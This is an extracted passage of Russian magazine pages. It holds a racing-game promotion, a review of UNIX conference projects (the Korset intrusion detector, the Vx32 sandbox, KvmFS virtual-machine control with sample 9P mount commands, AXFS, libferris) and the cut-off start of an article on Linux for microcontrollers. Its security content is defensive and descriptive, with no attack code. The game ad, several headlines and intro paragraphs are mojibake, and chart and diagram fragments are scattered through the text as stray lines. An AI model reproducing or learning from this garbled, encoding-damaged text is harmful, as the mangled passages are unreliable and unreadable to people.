Alpine è MSN.ru), òàê è îáû÷íûìè, ñ äåíåæíîé<br />

ñòàâêîé. Ïîñëå êàæäîé óäà÷íîé ãîíêè êîìïüþòåð<br />

áóäåò íàãðàæäàòü òåáÿ íåîáõîäèìûì êîëè÷åñòâîì<br />

î÷êîâ, êîòîðûå ôîðìèðóþò òâîé ðåéòèíã. Èìåííî<br />

îí, à òàêæå äåíüãè, âûèãðàííûå â ãîíêå, ÿâëÿþòñÿ<br />

ïîêàçàòåëÿìè ëè÷íîãî óñïåõà â èãðå.<br />

×òî êàñàåòñÿ åæåìåñÿ÷íûõ ñïîíñîðñêèõ Ñóïåðêóáêîâ<br />

îò Alpine è MSN.ru, òî ïðèíöèïû òóò òî÷íî<br />

òàêèå æå, êàê è â îáû÷íûõ çàåçäàõ: çäåñü ìîæíî<br />

óâåëè÷èòü ïåðñîíàëüíûé ðåéòèíã è íàêîïèòü<br />

ñîáñòâåííûé êàïèòàë íà òþíèíã ñâîåãî âèðòóàëüíîãî<br />

Opel.<br />

È åùå îäèí íþàíñ: ïåðåä êàæäîé ãîíêîé êîìïüþòåð<br />

ïðåäëîæèò òåáå íà âûáîð 3 âàðèàíòà íàñòðîåê<br />

àâòî: îò óìåðåííî-áåçîïàñíîãî äî ðèñêîâàííîàãðåññèâíîãî.<br />

Çäåñü òîæå íåò íè÷åãî ñëîæíîãî.<br />

Åçäà â ñïîêîéíîì ðåæèìå áîëåå ïðåäñêàçóåìà<br />

è ñòàáèëüíà, õîòÿ, îòêðîâåííî ãîâîðÿ, õàðàêòåð<br />

àâòîìîáèëÿ â ýòîì ñëó÷àå áóäåò íåìíîãî âÿëûì.<br />

È íàîáîðîò, àãðåññèâíûé ðåæèì åçäû îïàñåí òåì,<br />

÷òî ñïîñîáåí ïðèâåñòè ê ïîëîìêàì àâòî ïðÿìî â<br />

ìîìåíò ãîíêè! Ðèñêîâàòü èëè èäòè ïðîâåðåííûì<br />

áåçîïàñíûì ïóòåì – ñèòóàöèÿ ñàìà ïîäñêàæåò<br />

êàê áûòü â òîì èëè èíîì ñëó÷àå. Âûáîð ëèøü çà<br />

òîáîé.<br />

Íó, à êàê ïîòðàòèòü ñîáñòâåííûå äåíüãè – ðåøàòü<br />

òåáå. Ïóñòèòü âåñü âûèãðûø íà ïîêóïêó òþíèíãäåâàéñîâ,<br />

ïîñòàâèòü âñå íà êîí è æäàòü ñåðüåçíîãî<br />

ñîïåðíèêà, èëè âîâñå ïðîäàòü ñâîå àâòî è<br />

êóïèòü áîëåå ìîùíûé è äîðîãîé âàðèàíò Opel<br />

OPC. Êàê âèäèøü, ñâîáîäû ñàìîâûðàæåíèÿ â èãðå<br />

ïðåäîñòàòî÷íî!<br />

Òåïåðü ïàðó ñëîâ î òîì, ðàäè ÷åãî ìû äàåì òåáå<br />

òàêèå âîçìîæíîñòè.<br />

 ìåíþ èãðû ñóùåñòâóåò ñâîåîáðàçíûé «õîëë<br />

ñëàâû», â êîòîðûé êàæäûé ìåñÿö ïîïàäàþò òîëüêî<br />

ñàìûå ëó÷øèå ãîíùèêè! Ïîïàñòü òóäà – ýòî ñàìàÿ<br />

âàæíàÿ äëÿ òåáÿ ìèññèÿ! Ïîñêîëüêó, êàæäûé ìåñÿö<br />

ñ÷àñòëèâ÷èêîâ æäóò óìîïîìðà÷èòåëüíûå ïðèçû<br />

îò íàñ è íàøèõ ñïîíñîðîâ! Äàâàé ïîñìîòðèì, ÷òî<br />

òàì!<br />

1. Îò Alpine: íîâåéøèå CD-ðåñèâåðû, ñàáâóôåðû,<br />

äèíàìèêè, êîíòðîëëåðû IPod ñ Bluetooth èç íîâîãî<br />

ìîäåëüíîãî ðÿäà Alpine.<br />

2. Îò ÐÎÑÍÎ: ñåðòèôèêàò ÐÎÑÍÎ íà 50 000 ðóáëåé<br />

(ñåðòèôèêàò äàåò ïðàâî íà ñêèäêó â ðàçìåðå<br />

óêàçàííîé ñóììû)<br />

3. Îò MAXI Tunung: ôèðìåííûå âûñîêîîêòàíîâûå<br />

ôóòáîëêè, ïîëóãîäîâûå è ãîäîâûå ïîäïèñêè íà<br />

æóðíàë<br />

È, íàêîíåö, ñóïåðïðèç! Êîìïàíèÿ Opel ïðåäîñòàâèò<br />

ëó÷øåìó èãðîêó ãîäà íîâåíüêèé è àáñîëþòíî<br />

ðåàëüíûé àâòîìîáèëü Opel Corsa!!!!!<br />

Êðîìå òîãî, ïî èòîãàì ìåñÿöà òðè ëó÷øèõ ãîíùèêà<br />

ïîëó÷àò ñåðòèôèêàòû îò Cordiant ñ 15% ñêèäêîé<br />

íà ïîêóïêó ëþáîãî êîìïëåêòà ôèðìåííûõ øèí<br />

Cordiant è áåñïëàòíûé øèíîìîíòàæ â ïðèäà÷ó!<br />

Æäàòü íåêîãäà! Ó òåáÿ åùå åñòü âðåìÿ âñòàòü íà<br />

ñòàðòîâóþ ëèíèþ è äîæäàòüñÿ äîëãîæäàííîé<br />

îòìàøêè. Ìû æäåì òåáÿ è òâîé àâòîìîáèëü íà<br />

ôèíèøå! Ïîâåðü, ó òåáÿ åñòü íåîòúåìëåìîå ïðàâî<br />

ñòàòü ëó÷øèì! Íå îòêëàäûâàé æåëàííóþ ïîáåäó íà<br />

çàâòðà. Êëèêíè íà ãàç!<br />

ÇÈÌÀ ÎÒÌÅÍßÅÒÑß! ÇÀÁÓÄÜ Î ÌÈÍÓÑÎÂÛÕ ÒÅÌÏÅÐÀÒÓÐÀÕ, ÃÐßÇÍÛÕ ÒÐÀÑÑÀÕ È ÒÎËÑÒÎÌ ÑËÎÅ ÑÍÅÃÀ!<br />

ÑÒÓÆÀ ÏÎÁÅÆÄÅÍÀ! ÂÏÅÐÅÄÈ Ó ÒÅÁß ÑÀÌÛÉ ÍÀÑÒÎßÙÈÉ ÃÎÍÎ×ÍÛÉ ÑÅÇÎÍ! ÌÛ ÐÀÄÛ ÏÐÅÄÑÒÀÂÈÒÜ<br />

ÒÅÁÅ ÍÀØ, ÏÎ-ËÅÒÍÅÌÓ ÆÀÐÊÈÉ, ÑÓÏÅÐÏÐÎÅÊÒ MAXI RACING! ÏÐÈÑÒÅÃÈÂÀÉ ÐÅÌÍÈ ÍÀ ÎÔÈÑÍÎÌ<br />

ÊÐÅÑËÅ, ÃÎÍÊÀ ÍÀ×ÈÍÀÅÒÑß!


unixoid<br />

а. б. в.<br />

50<br />

40<br />

30<br />

50<br />

40<br />

30<br />

94<br />

64<br />

RAM<br />

Flash<br />

20<br />

20<br />

32<br />

10<br />

0<br />

AXFS JFFS2 CRAMFS SQUASHFS<br />

10<br />

0<br />

AXFS SQUASHFS XIP AXFS XIP CRAMFS<br />

0<br />

JFFS2 SQUASHFS AXFS<br />

БЕНЧМАРКИ AXFS: СКОРОСТЬ ЗАПУСКА ПРИЛОЖЕНИЯ (А), РАЗМЕР ОБРАЗА ФС (Б), ОБЩИЙ УРОВЕНЬ ПОТ-<br />

РЕБЛЕНИЯ ПАМЯТИ (СООТНОШЕНИЕ RAM/FLASH) (В)<br />

ЕВГЕНИЙ «J1M» ЗОБНИН<br />

/ ZOBNIN@GMAIL.COM/<br />

Обреченные<br />

на успех<br />

Îáçîð ñàìûõ èíòåðåñíûõ ïðîåêòîâ, ïðåäñòàâëåííûõ íà UNIX-êîíôåðåíöèÿõ<br />

Åæåãîäíî ïî âñåìó ìèðó ïðîõîäèò ìíîæåñòâî êîíôåðåíöèé, òàê èëè èíà÷å<br />

ñâÿçàííûõ ñ UNIX è FOSS. Ó÷àñòèå IT-ñïåöèàëèñòà â ïðîãðàììå îäíîé èç íèõ<br />

— îòëè÷íûé ñïîñîá âûäåëèòüñÿ, ïðîäåìîíñòðèðîâàòü íåîðäèíàðíîñòü ñâîåãî<br />

ìûøëåíèÿ è óìåíèå èçëàãàòü ìûñëè. Ìû îçíàêîìèìñÿ ñ ïÿòüþ íàèáîëåå<br />

êðåàòèâíûìè ïðîåêòàìè, ïðåäñòàâëåííûìè íà êîíôåðåíöèÿõ USENIX è Linux<br />

Symposium çà ïîñëåäíèå äâà ãîäà.<br />

>> unixoid<br />

KORSET — HIDS БЕЗ ЛОЖНЫХ СРАБАТЫВАНИЙ<br />

Феноменальная популярность небезопасных языков программирования<br />

C и C++ оказалась фатальной с появлением интернета и сетевых<br />

технологий. Проблеме срыва стека уже свыше 25 лет, но эффективного<br />

ее решения до сих пор не придумано. Производители железа снабжают<br />

процессоры NX-битом, который, как оказалось, способен остановить<br />

только учителей информатики. В операционные системы встраивают<br />

разнообразные рандомизаторы адресов, — они хоть и усложняют<br />

процесс внедрения shell-кода, но также легко обходятся. Создатели<br />

компиляторов не отстают и придумывают прополисы и прочие расширения.<br />

Идеалисты постоянно кричат о типо-безопасных языках и виртуальных<br />

машинах. Каждый год исследователи представляют новые системы<br />

защиты, но явного прогресса нет и кажется, что эффективное решение не<br />

будет найдено никогда.<br />

Несколько в стороне от всей этой кутерьмы стоят разработчики хостовых<br />

систем обнаружения вторжений (HIDS). Они предлагают искать лекарство<br />

не от самой болезни, а от ее симптомов: раз уж от срыва стека и смежных<br />

методов проникновения защититься нельзя, то почему бы не пресечь их<br />

последствия, запретив программе делать то, чего она делать не должна.<br />

080<br />

Существует два типа HIDS: обучаемые и основанные на правилах. Слабость<br />

первых в необходимости предварительного «прогона»<br />

приложе ния, — обучаемой HIDS нужно время на анализ того, что обычно<br />

делает приложение, чтобы уже потом на основе этих данных ограничить<br />

софтину в возможностях. В то же время такая HIDS просто технически не<br />

способна узнать обо всем, что может приложение, и довольно часто дает<br />

ложные срабатывания.<br />

HIDS, основанные на правилах, действуют по-другому. Они предлагают<br />

пользователю самому составить список того, что дозволено приложению<br />

(какие системные вызовы разрешены, к каким файлам и устройствам оно<br />

может обращаться и т.д.), а все остальные действия будут пресекаться.<br />

Недостаток: чтобы точно составить правила, нужно серьезно попотеть<br />

(попробуй как-нибудь на досуге написать список правил SELinux для<br />

Apache и всех его модулей с нуля).<br />

Разработчики концептуальной HIDS Korset (www.korset.org), анонсированной<br />

на Linux Symposium 2008, предложили объединить оба типа<br />

систем обнаружения вторжений для создания сверхнадежной HIDS,<br />

работающей без вмешательства пользователя и не требующей обучения<br />

или написания правил. Korset базируется на идее Control Flow Graph<br />

XÀÊÅÐ 04 /124/ 09


unixoid<br />

ПРИНЦИП РАБОТЫ KORSET<br />

User Space<br />

System Calls<br />

Kernel Space<br />

example c<br />

example<br />

i=read(fd, buf, n);<br />

if (i==n) {<br />

write(fd, buf, n);<br />

}<br />

close(fd);<br />

gcc, ld, ...<br />

ELF<br />

executable<br />

Korset<br />

Monitoring<br />

Agent<br />

Kernel<br />

System Call<br />

Handler<br />

Korset Static Analyzer<br />

ГРАФИЧЕСКОЕ ПРЕДСТАВЛЕНИЕ<br />

ГРАФА ФУНКЦИИ FWRITE()<br />

read<br />

write<br />

close<br />

example. korset<br />

1)syscall90<br />

2)fwrite()<br />

3)ryscall140<br />

4)syscall91<br />

5)syscall125<br />

6)syscall+5<br />

7) syscall4<br />

8) syscall197<br />

9) syscall10S<br />

10) syscall54<br />

АДРЕСНОЕ ПРОСТРАНСТВО ПРО-<br />

ЦЕССА, РАБОТАЮЩЕГО ПОД КОНТ-<br />

РОЛЕМ VX32<br />

Host Operating System<br />

Kernel Address Space<br />

(x86-32 or x86-64)<br />

1<br />

3<br />

5<br />

6<br />

7<br />

8<br />

9<br />

10<br />

2<br />

4<br />

Host Application<br />

Address Space<br />

(x86-32 or x86-64)<br />

(quest address space expands<br />

as heap grows)<br />

ДИСКОВЫЙ ФОРМАТ AXFS<br />

Flat Model<br />

Code, Data<br />

Segments<br />

quest heap<br />

quest code, data, bss<br />

default quest stack<br />

Guest Address Space<br />

(always x86-32)<br />

quest execution state,<br />

code tragment cache<br />

0<br />

Guest<br />

Data<br />

Segment<br />

Guest<br />

Control<br />

Segment<br />

SUPERBLOCK<br />

Region Descriptor<br />

Region Descriptor<br />

Region Descriptor<br />

Region Descriptor<br />

vx32 sandbox library<br />

Region - file names<br />

Host Application<br />

code, data, bss, heap<br />

(x86-32 or x86-64)<br />

Region - node offsets<br />

Region - compressed nodes<br />

0<br />

Region - xip nodes<br />

XÀÊÅÐ 04 /124/ 09<br />

081


unixoid<br />

(CFG), который представляет собой граф, отражающий очередность<br />

выполнения системных вызовов приложением. Такой граф строится<br />

автоматически во время сборки приложения и загружается ядром перед<br />

его исполнением. Если во время работы процесс инициирует системные<br />

вызовы, не описанные в графе, или даже делает их не в том порядке —<br />

процесс завершается.<br />

Чтобы воплотить мысль в реальность, создатели Korset снабдили GNU<br />

build tools (gcc, ld, as, ar) специальными обертками, которые строят<br />

CFG на основе исходных текстов и объектных файлов приложения. Для<br />

реализации сидящего в ядре Monitoring Agent был модифицирован ELFзагрузчик,<br />

который во время загрузки исполняемого файла в память находит<br />

и загружает закрепленный за ним CFG (файл приложение .korset).<br />

Специальная хук-функция security_system_call, прописанная в структуре<br />

security_operations, запускается при каждом системном вызове и сверяет<br />

его с записью в CFG. Ну, а чтобы связать все это воедино, в структуру<br />

task_struct добавили ссылку на CFG и его состояние.<br />

На первый взгляд, Korset прост в реализации и удобен в использовании.<br />

Но не все так радужно. Во-первых, CFG убивает возможность<br />

генерации кода на лету, без которой в некоторых случаях просто не<br />

обойтись. Во-вторых, CFG — не панацея. Если взломщик умудрится<br />

оформить системные вызовы shell-кода таким образом, чтобы они<br />

соответствовали прописанным в CFG (например, сделает open(),<br />

но не конфигурационного файла, а псевдотерминала), то ничто не помешает<br />

ему в проникновении. Ну и, в-третьих, в текущем состоянии<br />

Korset далек от продакшн: работа только на x86, с программами без<br />

динамической линковки, многопоточности, сигналов и инструкций<br />

вроде setjmp и longjmp.<br />

VX32 — ПЕСОЧНИЦА В ПРОСТРАНСТВЕ ПОЛЬЗОВАТЕЛЯ<br />

Идея использовать песочницы для запуска небезопасного кода далеко<br />

не нова. Близкие примеры: Chroot, FreeBSD Jail, Linux Lguest, Solaris<br />

Zones. JavaVM — тоже своего рода песочница, принуждающая использовать<br />

типо-безопасный язык для создания приложений и применяющая<br />

многочисленные рантайм проверки на безопасность. Даже VMWare<br />

и qemu есть не что иное, как песочницы, позволяющие запустить ОС в<br />

изолированном виртуальном окружении.<br />

Особого внимания заслуживают песочницы, основанные на прозрачной<br />

трансляции опкодов x86. Чтобы понять, что это такое, представь себе<br />

Java, которая умеет исполнять обычный x86-код, скомпилированный<br />

с помощью gcc. При этом подконтрольная программа не может выйти<br />

за границы своей области памяти и навредить работе виртуальной<br />

машины. Единственный путь наружу — специальный API. Ничего кроме<br />

для нее не существует. Такой вид песочниц наиболее интересен, потому<br />

как не требует вмешательств в ядро, не принуждает к использованию<br />

типо-безопасных языков, транслируемых в байт-код, не эмулирует целую<br />

аппаратную платформу и позволяет как угодно ограничить исполняемую<br />

программу с помощью урезания API до минимума. На его основе даже<br />

можно построить целую операционную систему, работающую в пространстве<br />

пользователя.<br />

К сожалению, популярности такой тип песочниц не получил. Реализация<br />

требует софтверной интерпретации инструкций процессора (с целью их<br />

модификации), ведь чтобы подконтрольное приложение оставалось в<br />

изоляции, нельзя допустить, чтобы оно смогло производить системные<br />

вызовы или обращаться к функциям, не оговоренным в API (инструкции<br />

int и call). Нельзя передавать управление на код за пределами своего адресного<br />

пространства (jmp) или читать данные вне своей зоны видимости<br />

(тут уж совсем засада). Поэтому инструкции должны анализироваться<br />

и при необходимости исправляться. Как следствие: на порядки отстает<br />

производительность.<br />

Проект Vx32 (pdos.csail.mit.edu/~baford/vm), представленный на<br />

конференции USENIX’08, вдохнул в идею подобных песочниц новую<br />

жизнь благодаря одному хитрому приему, который позволил вывести<br />

производительность чуть ли не на уровень нэйтивного кода. Все<br />

дело в границах области данных. Обычно для ограничения области<br />

данных подконтрольной программы интерпретаторы анализируют<br />

все куски кода, содержащие хоть какое-то упоминание об адресе,<br />

082<br />

будь то чтение из буфера, работа со стеком или обращение к файлу.<br />

Анализируется и, в случае необходимости, исправляется каждая<br />

инструкция, несущая в себе адрес. В то же время на долю различных<br />

переходов и обращений к подпрограммам остается жалкий процент<br />

действий, не несущий особой нагрузки на интерпретатор. Разработчики<br />

Vx32, отлично это понимая, просто ограничили область<br />

данных программы сегментными регистрами (ds, es, ss), которые<br />

все равно не применяются в современных ОС из-за плоской модели<br />

памяти. В результате, интерпретатор Vx32 должен заботиться только<br />

об анализе инструкций-переходов (число которых очень мало: jmp и<br />

производные, call, int, ret) и пресекать попытки изменения сегментных<br />

регистров, а самую трудоемкую работу по соблюдению границ<br />

видимости области данных выполнит процессор, который делает<br />

это в сотни раз быстрее. Уже сейчас Vx32 стабильно работает, а на его<br />

основе создано несколько проектов, среди которых ОС Plan9, работающая<br />

в режиме хост-системы, и «эмулятор» Linux (Linux API поверх Vx32).<br />

Производительность этих систем приближается к нэйтивному коду<br />

(оверхед редко превышает 80%). Недостаток же у системы всего один:<br />

привязанность к x86.<br />

KVMFS — УДАЛЕННОЕ УПРАВЛЕНИЕ<br />

ВИРТУАЛЬНЫМИ СЕРВЕРАМИ<br />

Технологии виртуализации плотно вошли в нашу жизнь. Разработчики<br />

используют виртуальные машины для прогонки и отладки низкоуровнего<br />

кода, администраторы — чтобы сэкономить на покупке железных<br />

ВИРТУАЛИЗАЦИЯ<br />

ПРИМЕНЯЕТСЯ В КЛАСТЕРАХ<br />

ПОВЫШЕННОЙ<br />

ПРОИЗВОДИТЕЛЬНОСТИ (HPC)<br />

ДЛЯ ЭФФЕКТИВНОГО<br />

ИСПОЛЬЗОВАНИЯ ВСЕХ ЯДЕР<br />

СОВРЕМЕННЫХ МНОГОЯДЕР-<br />

НЫХ ПРОЦЕССОРОВ.<br />

серверов, а хостеры начали применять технологии виртуализации с<br />

целью создать иллюзию постоянной доступности сервера. Особенно<br />

полюбились виртуальные сервера сервисам по сдаче в аренду компьютерных<br />

мощностей (теперь для каждого клиента они могут выделить<br />

отдельный виртуальный сервер и при необходимости перенести его на<br />

другую машину). Виртуализация применяется в кластерах повышенной<br />

производительности (HPC) для эффективного использования всех ядер<br />

современных многоядерных процессоров (для каждого ядра — отдельная<br />

виртуальная машина).<br />

Бум популярности виртуализации начался сразу после появления ее<br />

поддержки в современных x86-процессорах. Теперь виртуальный сервер<br />

может работать без явного оверхеда и модификации практически на<br />

любой ОС, оснащенной соответствующим драйвером.<br />

В Linux такой драйвер называется kvm, и для его задействования обычно<br />

применяется виртуальная машина qemu. Сама по себе qemu представляет<br />

множество интересных возможностей для управления серверами, включая<br />

функции заморозки/разморозки, простой способ миграции по Сети,<br />

поддержку сжатых образов дисков и т.д. Управлять сервером с помощью<br />

qemu одно удовольствие, но если таких серверов сотни, а то и тысячи, и все<br />

они разбросаны по множеству машин, начинаются серьезные проблемы.<br />

Проект KvmFS, представленный на Linux Symposium 2007, как раз<br />

и призван упростить процесс администрирования множества уда-<br />

XÀÊÅÐ 04 /124/ 09


unixoid<br />

ленных виртуальных машин. KvmFS использует протокол 9P (тот,<br />

что из Plan9) для создания виртуальной файловой системы, которую<br />

можно удаленно монтировать, например из Linux, и управлять<br />

множеством инстанций qemu на удаленном сервере путем записи<br />

специальных команд в файлы. Сервер KvmFS прочитает команды<br />

и отправит их нужному процессу qemu. Для наглядности далее<br />

приводится пример запуска виртуальной машины на сервере host.<br />

org:<br />

# mount -t 9p host.org /mnt/9<br />

# cd /mnt/9<br />

# tail -f clone &<br />

# cd 0<br />

# cp ~/disk.img fs/disk.img<br />

# cp ~/vmstate fs/vmstate<br />

# echo dev hda disk.img > ctl<br />

# echo net 0 00:11:22:33:44:55 > ctl<br />

# echo power on freeze > ctl<br />

# echo loadvm vmstate > ctl<br />

# echo unfreeze > ctl<br />

А вот так производится миграция виртуального сервера на другую машину:<br />

# mount -t 9p host1.org /mnt/9/1<br />

# mount -t 9p host2.org /mnt/9/2<br />

# tail -f /mnt/9/2/clone &<br />

# cd /mnt/9/1/0<br />

# echo freeze > ctl<br />

# echo 'clone 0 host2.org!7777/0' > ctl<br />

# echo power off > ctl<br />

Даже если машин с виртуальными серверами в сети сотни, не составит<br />

особого труда написать небольшой скрипт, который проходит по списку<br />

адресов и монтирует их все к нужным точкам.<br />

AXFS — ЗАПУСК ПРИЛОЖЕНИЙ БЕЗ ПОМЕЩЕНИЯ В RAM<br />

Linux стремительно завоевывает рынок мобильной и встраиваемой<br />

техники. Все больше производителей смартфонов заявляют об использовании<br />

открытой ОС в следующих моделях своих устройств. Множество<br />

компаний выдвигают на рынок специальные версии дистрибутивов<br />

Linux для мобильных устройств. Линус Торвальдс пропускает в ядро<br />

огромное количество патчей с реализацией поддержки того или иного<br />

мобильного оборудования и кажется, что хакерский рай уже так близко…<br />

К сожалению, не все так просто. Изначально ядро Linux разрабатывалось<br />

для рабочих станций и серверов, и только совсем недавно тукс<br />

потянул крылышки к смартфонам. Поэтому почти все подсистемы ядра<br />

рассчитаны (и оптимизированы) на применение в стандартных настольных<br />

конфигурациях, которые непременно обладают жесткими дисками,<br />

быстрым видеоадаптером, большим объемом оперативной памяти и<br />

весьма нескромной производительностью. Некоторые из этих проблем<br />

решаются достаточно просто. Например, требуемые объемы памяти можно<br />

понизить до приемлемого уровня, собрав ядро с поддержкой только<br />

самого необходимого и потюнив систему через /proc. Низкопроизводительная<br />

видеоподсистема? Ну, тогда и тяжелый X Server не нужен, хватит<br />

framebuffer’а! А вот с остальным сложнее. В частности, в ядре до сих пор<br />

нет файловой системы, позволяющей использовать все возможности<br />

современных flash-накопителей.<br />

Список фич, которыми должна обладать такая файловая система, следующий:<br />

1. Переписывание данных только в случае крайней необходимости.<br />

Основанные на flash-памяти накопители имеют ограничение по части<br />

количества циклов перезаписи.<br />

2. Прозрачное сжатие данных.<br />

3. Умение работать без уровня эмуляции блочного устройства, который<br />

создает совершенно ненужный оверхед.<br />

XÀÊÅÐ 04 /124/ 09<br />

4. Устойчивость к перебоям питания.<br />

5. Поддержка XIP (eXecute-In-Place), т.е. возможности запустить программу<br />

прямо с flash-накопителя, без загрузки в оперативную память.<br />

Давно интегрированная в ядро jffs2 не поддерживает и половины этих<br />

возможностей, а вот созданная компанией Nokia ubifs (интегрирована<br />

в ядро 2.6.27) очень хороша и умеет почти все, кроме пятого пункта. За<br />

счет XIP можно сделать большой шаг вперед. Поясню. На мобильных<br />

устройствах операционная система обычно прошивается в память типа<br />

NOR, которая, в отличие от используемой во флешках NAND-памяти,<br />

поддерживает обращение к произвольным ячейкам. Произвольный<br />

доступ делает ее очень похожей на оперативную память и даже позволяет<br />

использовать в этом качестве. Надо только научить файловую систему<br />

мапить отдельные участки NOR-памяти в память виртуальную — и, о<br />

чудо, полноценная операционная система может работать, не потребляя<br />

RAM.<br />

Загвоздка с XIP лишь в том, что это технология никак не вписывается<br />

в дизайн универсальной операционной системы. По сути это хак,<br />

который пытается смешать несовместимые подсистемы ядра. Создатели<br />

файловой системы AXFS (Advanced XIP File System), анонсированной на<br />

Linux Symposium 2008, попытались исправить этот недочет при помощи<br />

официальных механизмов ядра. Еще в ядро 2.6.13, в рамках интеграции<br />

dcss-драйвера для архитектуры s390, был добавлен специальный<br />

механизм, позволяющий обращаться к памяти flash-диска напрямую<br />

(файл /mm/filemap_xip.c). До создателей AXFS этот механизм попытались<br />

использовать разработчики xip-патчей для cramfs, но в результате<br />

получили грязный хак, который никак нельзя было выдать за оптимальное<br />

решение. Разработчики же AXFS проконсультировались с авторами<br />

подсистемы виртуальной памяти и создали 64-битную файловую систему,<br />

достоинства которой:<br />

1. XIP для памяти NOR-типа.<br />

2. Возможность работать с NAND-памятью (XIP автоматически отключается).<br />

3. Прозрачная компрессия с размером блока от 4 Кб до 4 Гб.<br />

4. Умение работать как с блочными устройствами, так и напрямую.<br />

Записывать она не умеет (образ файловой системы создается специальной<br />

утилитой), но это и не требуется для прошивок, выпускаемых<br />

производителем аппарата.<br />

LIBFERRIS — НОВЫЙ УРОВЕНЬ ВИРТУАЛЬНЫХ ФС<br />

В последнее время виртуальные файловые системы завоевали особую<br />

популярность. Пользователей они привлекают своей универсальностью,<br />

благодаря которой не нужно тратить время на изучение новых<br />

интерфейсов и чтение мануалов. С точки зрения программистов,<br />

виртуальная ФС — очень удобный и простой способ связывания компонентов<br />

большой системы без выдумывания нового API и использования<br />

сложных RPC.<br />

Чтобы не быть голословным, приведу лишь некоторые примеры<br />

из громадного списка таких ФС: подсистема Gnome VFS, которая<br />

позволяет«ходить»по архивам, ssh-сессиям, ISO-образам; подсистема<br />

KDE KIO, разработанная для тех же целей; ядерный модуль fuse, на основе<br />

которого создано просто гигантское количество самых разнообразных<br />

файловых систем. А если уж мыслить в более глобальных масштабах, то<br />

не обойтись без упоминания об операционных системах Inferno и Plan9,<br />

где виртуальные ФС являются центральной частью ОС и связывают все<br />

компоненты системы в единый комплекс.<br />

Проект libferris (www.libferris.com), которому была посвящена<br />

одна из лекций Linux Symposium, в этом плане идет еще дальше.<br />

Кроме возможности монтирования массы разнообразных ресурсов,<br />

он предлагает механизм управления приложением (Firefox, X<br />

Window) через файловый интерфейс, позволяет легко преобразовать<br />

XML-документ в файловую систему и обратно, поддерживает<br />

атрибуты, которые на лету извлекаются из внутренних метаданных<br />

документа, и обладает еще массой интересных особенностей.<br />

Другими словами, проект libferris выводит виртуальные ФС на<br />

новый уровень, который раньше был доступен лишь в упомянутом<br />

Plan9. z<br />

083


unixoid<br />

DIVER<br />

/ DIVER@EDU.IOFFE.RU /<br />

Встраиваем<br />

пингвина<br />

Ó÷èìñÿ ñòàâèòü Linux íà ìèêðîêîíòðîëëåðû<br />

Îòêðûòîñòü è ãèáêîñòü GNU/Linux ïîçâîëÿåò çàòî÷èòü åå áóêâàëüíî ïîä ÷òî<br />

óãîäíî. Ýòà ÎÑ îäèíàêîâî õîðîøî ðàáîòàåò íà ìàðøðóòèçàòîðàõ, ìîáèëüíèêàõ<br />

è ïðîôåññèîíàëüíûõ ñèñòåìàõ ñáîðà äàííûõ – â îáùåì, íà òàê íàçûâàåìûõ<br />

âñòðàèâàåìûõ óñòðîéñòâàõ. Êàê ýòîãî äîáèâàþòñÿ?<br />

>> unixoid<br />

Итак, у тебя есть Идея, и звучит она так: «Хочу Linux на Микроконтроллере».<br />

Как и почти любую замечательную Идею, ее придумали еще до тебя<br />

и уже досконально проработали опытные линуксоиды и программисты.<br />

Для начала определись с задачей. Что твое устройство будет делать?<br />

Как будет реагировать на внешние раздражители? Задай себе главный<br />

вопрос: ЗАЧЕМ тебе здесь Linux? Если определился, выбирай девайс,<br />

на который твоя ОСь будет водружаться. На нем должен быть поддерживаемый<br />

Linux’ом микроконтроллер, а также достаточно памяти и<br />

быстродействия для твоих задач. В идеале, для первых экспериментов<br />

подойдет какой-нибудь простенький роутер (типа D-Link на MIPS-архитектуре,<br />

с уже предустановленным Linux’ом). Перекомпиль ядро под<br />

свою задачу и залей обратно на роутер, — это и будет первый опыт.<br />

Дальше можешь спаять или купить какую-нибудь отладочную плату.<br />

Только следи, чтобы на твоем одноплатнике было не менее 16 Мб оперативки,<br />

и контроллер имел Блок Управления Памятью MMU (смотри врезку),<br />

иначе придется довольствоваться сильно урезанным ядром ucLinux.<br />

Как запустишь ядро и примонтируешь файловую систему, пиши или ищи<br />

драйвера для интерфейсов и внешней периферии.<br />

Обобщим. Для более-менее успешной реализации Идеи, тебе надо:<br />

• Знать основы микроэлектроники.<br />

• Знать язык С (желательно Асм).<br />

• Уметь ориентироваться в Datasheets и прочей документации к контроллеру<br />

и его внешней периферии.<br />

• Иметь опыт программирования МК (базовые знания процесса загрузки<br />

Linux также будут нелишними).<br />

Звучит страшно? Но основы я расскажу здесь, а остальное прочитаешь в<br />

Сети, если заинтересует.<br />

НИЗКИЙ УРОВЕНЬ<br />

У любого микроконтроллера на кристалле, помимо собственно ядра,<br />

живет периферия. По сути, это отдельные устройства, объединенные в<br />

один корпус.<br />

Ядро управляет всей внутренней периферией путем записи или чтения<br />

из регистров, замапленных в специальную область памяти. Они называются<br />

SFR (Special Function Register). Запомни эту аббревиатуру, в документации<br />

к процессорам она часто используется. А само процессорное<br />

084<br />

ядро, кроме арифметики да чтения/записи в память, по сути, ничего и не<br />

умеет и все перекладывает на плечи периферии.<br />

В нашей задаче установки Linux контроллер обязательно должен иметь<br />

два периферийных устройства:<br />

1. PDC — контроллер прямого доступа к памяти. Вместо того чтобы<br />

«вручную» принимать данные с портов ввода-вывода и копировать их в<br />

оперативную память, процессорное ядро может отдать эту операцию на<br />

откуп контроллеру DMA (прямого доступа к памяти), и, пока тот перемещает<br />

данные, заниматься действительно полезным делом. По окончании<br />

операций с памятью, PDC дергает прерывание, и ядро переключается<br />

на обработку данных.<br />

2. Memory Management Unit (или, по-русски, Блок Управления Памятью).<br />

Работает в тандеме с PDC и контроллером оперативки. Главная его роль<br />

— это трансляция виртуальной памяти в физическую, а также контроль<br />

доступа. На твоем десктопе архитектуры х86/х86-64 он присутствует<br />

всегда, а вот в микроконтроллерах его может и не быть. Linux, как многозадачная<br />

система, использует этот блок для установки прав доступа<br />

на страницы памяти. Как только какой-нибудь код попытается взаимодействовать<br />

с запрещенной областью памяти, сработает аппаратное<br />

прерывание, обрабатываемое ядром Linux.<br />

Также пригодятся контроллеры карточек NAND-Flash и CompactFlash,<br />

но они, наверняка, присутствуют везде, где есть MMU. Остальную периферию<br />

тоже не следует обделять вниманием — например, периферийный<br />

контроллер микросхемы физического уровня Ethernet и поддержка<br />

USB-Host дадут тебе нехилые преимущества в возможностях.<br />

Как известно, процесс загрузки ОС на базе Linux, вне зависимости от<br />

архитектуры, происходит в несколько этапов. Вкратце напомню: при<br />

старте компьютера первым запускается загрузчик, подготавливающий<br />

все необходимое для запуска ядра — конфигурирует контроллер памяти,<br />

